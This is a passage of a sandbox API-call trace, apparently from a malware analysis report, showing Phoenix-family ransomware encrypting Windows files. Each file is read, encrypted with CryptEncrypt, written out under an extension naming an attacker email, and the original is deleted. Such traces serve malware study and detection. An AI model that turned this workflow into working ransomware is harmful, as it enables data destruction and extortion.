	[0250.137] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4096) returned 1
	[0250.137] CloseHandle (hObject=0x2d4) returned 1
	[0250.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0250.137] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0250.138] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.138] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.138] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.138] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1516c0) returned 1
	[0250.138] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.138] ReadFile (in: hFile=0x2d4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1000, lpOverlapped=0x0) returned 1
	[0250.490] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010, dwBufLen=0x1010 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1010) returned 1
	[0250.490] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1010, lpOverlapped=0x0) returned 1
	[0250.490] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0250.491] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.491] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0250.491] CryptDestroyKey (hKey=0x151440) returned 1
	[0250.491] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x162, lpOverlapped=0x0) returned 1
	[0250.491] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0250.491] CloseHandle (hObject=0x2d4) returned 1
	[0250.491] CloseHandle (hObject=0x2c4) returned 1
	[0250.491] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-11152017-120955-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 1
	[0250.492] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.492] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft OneDrive\\setup\\refcount.ini" (normalized: "c:\\programdata\\microsoft onedrive\\setup\\refcount.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.492] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0250.493] CloseHandle (hObject=0x2c4) returned 1
	[0250.493] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.493] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.520] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=26) returned 1
	[0250.520] CloseHandle (hObject=0x2c8) returned 1
	[0250.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml")) returned 0x20
	[0250.520] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.520] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.520] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.520] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0250.598] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151680) returned 1
	[0250.598] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.598] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1a, lpOverlapped=0x0) returned 1
	[0250.599] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x20, dwBufLen=0x20 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x20) returned 1
	[0250.599] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x20, lpOverlapped=0x0) returned 1
	[0250.599] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0250.600] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.600] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0250.600] CryptDestroyKey (hKey=0x151600) returned 1
	[0250.600] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0250.600] CryptDestroyKey (hKey=0x151680) returned 1
	[0250.600] CloseHandle (hObject=0x2c8) returned 1
	[0250.600] CloseHandle (hObject=0x2c4) returned 1
	[0250.601] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatecspstore.xml")) returned 1
	[0250.608] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.608] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\USOPrivate\\UpdateStore\\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml" (normalized: "c:\\programdata\\usoprivate\\updatestore\\updatestoretemp51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.609] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=0) returned 1
	[0250.609] CloseHandle (hObject=0x2c8) returned 1
	[0250.609] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.609] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.734] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1006) returned 1
	[0250.734] CloseHandle (hObject=0x2b0) returned 1
	[0250.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml")) returned 0x2020
	[0250.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Recovery\\ReAgentOld.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\recovery\\reagentold.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.734] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0250.734] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.734] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0250.734] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\ReAgentOld.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\recovery\\reagentold.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.736] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151240) returned 1
	[0250.736] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.736] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3ee, lpOverlapped=0x0) returned 1
	[0250.891] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f0, dwBufLen=0x3f0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3f0) returned 1
	[0250.891] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3f0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3f0, lpOverlapped=0x0) returned 1
	[0250.892] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1510c0) returned 1
	[0250.892] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0250.892] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0250.892] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0250.892] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0250.892] CryptDestroyKey (hKey=0x151240) returned 1
	[0250.892] CloseHandle (hObject=0x2b0) returned 1
	[0250.892] CloseHandle (hObject=0x2c8) returned 1
	[0250.892] DeleteFileW (lpFileName="\\\\?\\C:\\Recovery\\ReAgentOld.xml" (normalized: "c:\\recovery\\reagentold.xml")) returned 1
	[0250.893] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.894] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=11946) returned 1
	[0250.894] CloseHandle (hObject=0x2c8) returned 1
	[0250.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_10.1.10531.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.894] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.894] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.894] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16607) returned 1
	[0250.894] CloseHandle (hObject=0x2c8) returned 1
	[0250.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2015.1012.106.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.895] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.895] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=16676) returned 1
	[0250.895] CloseHandle (hObject=0x2c8) returned 1
	[0250.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0250.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.People_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.people_2017.222.1920.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.895] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.895] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.896] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3649) returned 1
	[0250.896] CloseHandle (hObject=0x2c8) returned 1
	[0250.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml")) returned 0x20
	[0250.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.PPIProjection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.ppiprojection_10.0.15063.0_neutral_neutral_cw5n1h2txyewy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.896] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.896] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.896] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4695) returned 1
	[0250.896] CloseHandle (hObject=0x2c8) returned 1
	[0250.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0250.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0250.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0250.897] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0250.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0250.897] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4723) returned 1
	[0250.897] CloseHandle (hObject=0x2c8) returned 1
	[0250.897] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Microsoft.Services.Store.Engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\microsoft.services.store.engagement_10.0.1706.0_x86__8wekyb3d8bbwe.xml")) returned 0x20
